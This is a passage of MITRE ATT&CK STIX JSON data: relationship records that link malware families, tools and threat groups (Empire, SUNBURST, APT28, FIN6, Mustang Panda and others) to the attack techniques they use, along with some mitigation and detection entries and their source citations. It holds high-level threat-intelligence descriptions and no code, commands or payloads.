or disable insecure versions of metadata services that are in use to prevent adversary access.(Citation: Amazon AWS IMDS V2)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac4e0574-879e-4155-84ed-5b2d8be0b603","type":"relationship","created":"2019-04-22T18:35:20.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:53:15.824Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use Dropbox and GitHub for C2.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac5089b3-db8b-401d-924d-76e35bce7e9c","type":"relationship","created":"2019-09-16T19:41:10.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2020-03-20T18:16:35.500Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has used basE91 encoding, along with encryption, for C2 communication.(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac53cb36-9471-4ea0-8316-42d97f84956f","type":"relationship","created":"2020-01-30T14:40:20.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T14:40:20.626Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac5693ea-3d10-47bd-b91b-a65177dd5462","type":"relationship","created":"2021-04-07T18:07:47.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T18:07:47.888Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has decrypted ELF files with AES.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac5925ff-04f9-416e-b83b-d70392ef9282","type":"relationship","created":"2022-01-25T15:33:50.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:33:50.053Z","description":"The C# implementation of the [CharmPower](https://attack.mitre.org/software/S0674) command execution module can use cmd.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ac5bf8d9-900b-4aa4-8f97-81566666cd26","created":"2022-07-07T14:48:50.995Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepyDrive](https://attack.mitre.org/software/S1023) can download files to the compromised host.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:17:23.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac5c1601-ee79-4d9e-b702-bf1771ee02ef","type":"relationship","created":"2021-04-13T19:29:21.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"McAfee Dianxun March 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf","description":"Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021."}],"modified":"2021-04-13T21:46:06.130Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) have acquired C2 domains prior to operations.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: McAfee Dianxun March 2021)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac603ee0-cb62-4ad5-852a-29b70b225c5f","type":"relationship","created":"2022-03-26T03:47:59.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:59.075Z","description":"[Mythic](https://attack.mitre.org/software/S0699) supports custom chunk sizes used to upload/download files.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ac6100b4-8a41-4353-8cbf-46e596d8d212","created":"2022-04-15T00:18:04.243Z","x_mitre_version":"0.1","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) has Base64 encoded the RSA public key used for encrypting files.(Citation: Fortinet Diavol July 2021)","modified":"2022-04-15T00:28:31.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac612e35-03c6-4b14-9348-dea8119c593a","created":"2019-09-23T23:14:16.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.536Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac65e484-b59a-40e1-984e-02dc4b62b6f0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Sofacy Feb 2018","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:07:43.269Z","description":"[APT28](https://attack.mitre.org/groups/G0007) attempted to get users to click on Microsoft Office attachments containing malicious macro scripts.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac6ce385-79d5-40bd-ab16-bd873fb1a821","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-03-18T19:36:51.026Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) gathers domain and account names/information through process monitoring.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac6f5587-f6ae-4178-bc34-c2d4a30b305b","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac6fad74-ba50-45fd-9de0-e943c2297fe0","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for newly constructed drive letters or mount points to a data storage device for attempts to write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.","source_ref":"x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac71c15a-3c61-4e73-9663-fb35dc0a1a66","type":"relationship","created":"2021-01-06T16:56:56.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T16:56:56.331Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) masqueraded its network traffic as the Orion Improvement Program (OIP) protocol.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Backdoor.Mivast","description":"Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.","url":"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"}],"modified":"2020-03-25T16:03:27.015Z","description":"[Mivast](https://attack.mitre.org/software/S0080) has the capability to gather NTLM password information.(Citation: Symantec Backdoor.Mivast)","relationship_type":"uses","source_ref":"malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac772e5c-ef7b-433a-bc12-4125635699b1","type":"relationship","created":"2020-11-08T23:47:39.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:47:39.817Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can harvest data from mail clients.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac773743-8f22-4193-a2de-b562e7a13709","type":"relationship","created":"2021-06-29T15:19:53.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:19:53.156Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) has the ability to capture screenshots.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac77f5ac-4a6e-4c58-a596-5e9aa6f00ff7","type":"relationship","created":"2021-04-12T20:07:50.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"Proofpoint TA416 November 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader","description":"Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.339Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used a legitimately signed executable to execute a malicious payload within a DLL file.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 November 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac7a8c0c-bdbc-4ed5-91f9-b00212fe7189","created":"2021-07-16T19:28:57.130Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.434Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can identify the country code on a compromised host.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac7af437-b8ff-4b43-af49-841a391f104c","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CounterCept PPID Spoofing Dec 2018","description":"Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.","url":"https://www.countercept.com/blog/detecting-parent-pid-spoofing/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac7d5b88-7929-4f64-abcd-8219caafac24","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"source_name":"Trend Micro FIN6 October 2019","url":"https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html","description":"Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."}],"modified":"2020-10-09T13:28:48.437Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used a script to iterate through a list of compromised PoS systems, copy and remove data to a log file, and to bind to events from the submit payment button.(Citation: FireEye FIN6 April 2016)(Citation: Trend Micro FIN6 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac85daf7-c5ee-4f53-8ed8-0049ac7cc6e9","type":"relationship","created":"2021-03-02T18:16:41.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-03T20:26:15.939Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has created a scheduled SYSTEM task that runs when a user logs in.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac88262c-e14d-4f52-a5df-bbddc6d5c1bc","type":"relationship","created":"2020-05-15T15:04:34.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.405Z","description":"[ShimRat](https://attack.mitre.org/software/S0444)'s loader has been packed with the compressed [ShimRat](https://attack.mitre.org/software/S0444) core DLL and the legitimate DLL for it to hijack.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac89c5e2-ade5-4889-a905-7dbe835ff5fd","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2020-03-30T17:20:41.552Z","description":"[Pasam](https://attack.mitre.org/software/S0208) establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.(Citation: Symantec Pasam May 2012)","relationship_type":"uses","source_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac8ba4ea-f9dc-4d0c-85d9-0df3041fd304","type":"relationship","created":"2019-06-18T17:20:43.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2020-03-17T13:40:58.718Z","description":"[JCry](https://attack.mitre.org/software/S0389) has achieved execution by luring users to click on a file that appeared to be an Adobe Flash Player update installer. (Citation: Carbon Black JCry May 2019)","relationship_type":"uses","source_ref":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac94eab0-5d4e-419d-806b-fb085a532f31","created":"2024-09-16T08:51:59.407Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. 